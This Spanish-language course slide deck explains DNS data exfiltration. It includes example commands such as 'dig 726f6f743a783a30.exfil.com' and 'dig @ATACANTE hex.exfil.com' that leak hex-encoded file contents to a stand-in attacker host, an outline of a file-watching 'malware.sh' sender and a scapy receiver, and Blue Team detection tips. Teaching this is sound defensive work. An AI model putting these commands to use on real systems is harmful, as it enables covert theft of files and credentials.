```
$ sudo ./monitor_dns.py
[*] Escuchando consultas hacia .exfil.com...
```

Exfiltración de Datos vía DNS

DNS Data Exfiltration · Seguridad Ofensiva

Redes de Computadoras

Puerto 53/UDP

¿Por qué DNS es atacable?

BLOQUEADO

Puertos filtrados

HTTP → 80/TCP ✗
HTTPS → 443/TCP ✗
SSH → 22/TCP ✗
FTP → 21/TCP ✗

SIEMPRE ABIERTO

Puerto 53

DNS → 53/UDP ✓

Bloquearlo rompe la red.
Todo depende de DNS.

→ El cliente no tiene salida directa a Internet, pero el **servidor DNS interno** retransmite consultas recursivas hacia el exterior **en su nombre**.

DNS es la agenda telefónica de Internet

Tú escribes
google.com
→
DNS responde
142.250.80.46
→
Tu navegador conecta
✓ Página carga

Navegadores

Cada URL que visitas empieza con una consulta DNS

Apps móviles

WhatsApp, Instagram, Maps — todas usan DNS

Terminales

curl, apt, pacman — todo resuelve DNS primero

⚠ Bloquear el puerto 53 **rompe absolutamente todo**. Por eso los firewalls nunca lo bloquean.

Las dos consultas son idénticas para el firewall

CONSULTA LEGÍTIMA

✓ Firewall lo permite

```
dig www.google.com
```

QNAME: www · google · com — Un nombre de dominio normal

CONSULTA EXFILTRACIÓN

✓ Firewall lo permite

```
dig 726f6f743a783a30.exfil.com
```

QNAME: 726f6f743a783a30 · exfil · com — Parece un subdominio cualquiera

LO QUE VE EL FIREWALL

Una petición DNS normal.
Protocolo correcto. Puerto 53. Nada sospechoso.

LO QUE VIAJA OCULTO

726f6f74
= "root" en ASCII

malware.sh
El lado víctima

`inotifywait`
Escucha al kernel de Linux. Detecta cuando el archivo se guarda — sin importar si es nvim, nano o VSCode.

`xxd -p -c 20`
Convierte el archivo a hexadecimal, 20 bytes por línea (40 caracteres) para no exceder el límite de 63 caracteres de una etiqueta DNS.

`dig @ATACANTE hex.exfil.com`
Envía cada fragmento como consulta DNS. Para la red, es tráfico legítimo de resolución de nombres.

monitor_dns.py
El lado atacante

SALIDA EN PANTALLA

`scapy · sniff()`
Captura paquetes en modo promiscuo a nivel de socket raw. Necesita sudo — opera por debajo de la capa de aplicación.

`filter="udp port 53"`
Filtro BPF en tiempo real. Solo pasan paquetes UDP al puerto 53 — descarta todo lo demás sin procesarlo.

`bytes.fromhex(etiqueta)`
Extrae el primer fragmento del QNAME, decodifica de hex a ASCII y acumula. El archivo original se reconstruye en tiempo real.

Anatomía del paquete DNS



07 / Conclusión

[*] Datos reconstruidos: usuario:secreto123

Lo que aprendimos

01 DNS nunca se bloquea porque rompe la red — y eso lo hace un canal de exfiltración ideal.

02 Los datos viajan codificados en el campo QNAME, estructuralmente indistinguibles de tráfico legítimo.

03 Con solo dos herramientas de línea de comandos (xxd + dig) se puede exfiltrar un archivo completo.

Cómo detectarlo (Blue Team)

Alta entropía en subdominios
Subdominios llenos de caracteres hex sin palabras legibles son una anomalía clara.

Volumen de consultas
Cientos de queries en segundos desde un solo host no es comportamiento normal.

DNS sobre HTTPS (DoH)
Cifra y oculta el contenido de las consultas, dificultando la inspección DPI.